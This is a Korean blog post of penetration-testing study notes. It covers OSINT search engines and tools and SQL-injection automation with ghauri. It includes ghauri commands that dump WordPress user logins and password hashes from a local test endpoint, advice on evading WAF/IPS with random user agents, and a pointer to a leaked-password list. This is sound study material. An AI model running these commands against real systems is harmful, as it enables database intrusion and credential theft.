Pentesting & RedTeam 도서관/침투 테스팅 스터디

ASC 숭실대학교 Track (1)

0x00 2025. 1. 26. 03:28

OSINT 

 

https://hunter.how/

윗 사이트 는 shodan 과 비슷한 서치엔친 사이트 이다.

 

Hunter Search Engine

 

hunter.how

 

uncover 라는 도구도 있다. 이는  HunterHow, google  , Zoomeye  등 검색엔진을 지원을 해주는  인터넷 자산을 스캔 해주는 도구이다. https://github.com/projectdiscovery/uncover

 

명령어

 

echo "product.name=\"Apache Tomcat\"" | uncover -e hunterhow

 

sudo vi /home/kali/.config/uncover/provider-config.yaml  경로에 hunterhow API KEY  를 넣어  사용할수 있다.

 

 

httpx

https://github.com/projectdiscovery/httpx

 

HunterHow로 발견된 Tomcat 서버 목록을 uncover로 가져온 후, httpx 도구를 통해 해당 서버들의 HTTP/HTTPS 서비스가 실제로 활 성화되어 있는지 확인합니다.

 

 

이런식으로 조합하여 사용할수도 있다.

 

google Dorks  아래 사이트는 구글 Dork 키워드를 자동으로 생성해주는 사이트 이다,

 

https://taksec.github.io/google-dorks-bug-bounty/

 

Google Dorks for Bug Bounty

 

taksec.github.io

 

OSINT Framework는 정보 수집에 필요한 다양한 도구와 리소스를 체계적으로 분류하여 제공하는 웹 기반 플랫폼으로,
사이버 보안 전문가들이 효율적으로 타겟에 대한 정보를 수집하고 분석할 수 있도록 도와주는 종합적인 리소스 허브입니다.

 

https://osintframework.com/

 

OSINT Framework

(T) - Indicates a link to a tool that must be installed and run locally (D) - Google Dork, for more information: Google Hacking (R) - Requires registration (M) - Indicates a URL that contains the search term and the URL itself must be edited manually I ori

osintframework.com

 

 

 

ghauri  : SQLI 자동화 스크립트 (sqlmap 에서 탐지 안되는것이 탐지 되는 경우가 많다고 함)

https://github.com/r0oth3x49/ghauri

 

GitHub - r0oth3x49/ghauri: An advanced cross-platform tool that automates the process of detecting and exploiting SQL injection

An advanced cross-platform tool that automates the process of detecting and exploiting SQL injection security flaws - r0oth3x49/ghauri

github.com

예) ghauri -u "http://localhost:8888/?rest_route=/my-calendar/v1/events&from=1" -p from --random-agent --batch

 

-p from --dbs : 데이터 베이스 확인 

-D wpdb --tables : 테이블 이름 확인

--random-agent : 매 요청마다 다른 User-Agent를 무작위로 사용 --> WAF/IPS우회, 단일 User-Agent로 인한 차단 방지
--threads10 : 동시에 10개의 HTTP요청을 병렬로 처리 --> 대규모 데이터베이스 조사 시 시간 단축
--batch : 사용자 입력을 요청하지 않고 기본 설정으로 자동 실행 --> 중간 확인 과정 없이 연속적인 작업 수행

 

ghauri -u "http://localhost:8888/?rest_route=/my-calendar/v1/events&from=1" -D wpdb -T wp_users -C user_login,user_pass --dump --random-agent --threads=10 --batch

 

원하는 테이블 지정후 해당 테이블에 저장된 데이터 추출.

 

rockyou.txt 대신 최신 유출 비밀번호들이 포함된 rockyou2024.txt를 사용하는것이 좋다.

https://github.com/exploit-development/RockYou2024

'Pentesting & RedTeam 도서관 > 침투 테스팅 스터디' 카테고리의 다른 글

ASC 침투테스트 Write_Up  (0) 2025.02.05
ASC Track(2)  (0) 2025.01.26
EscapeTwo Write_Up  (1) 2025.01.26
아반티(Ivanti) 커넥트 시큐어 CVE-2025-0282 취약점  (0) 2025.01.10
AI _Sec  (2) 2024.12.13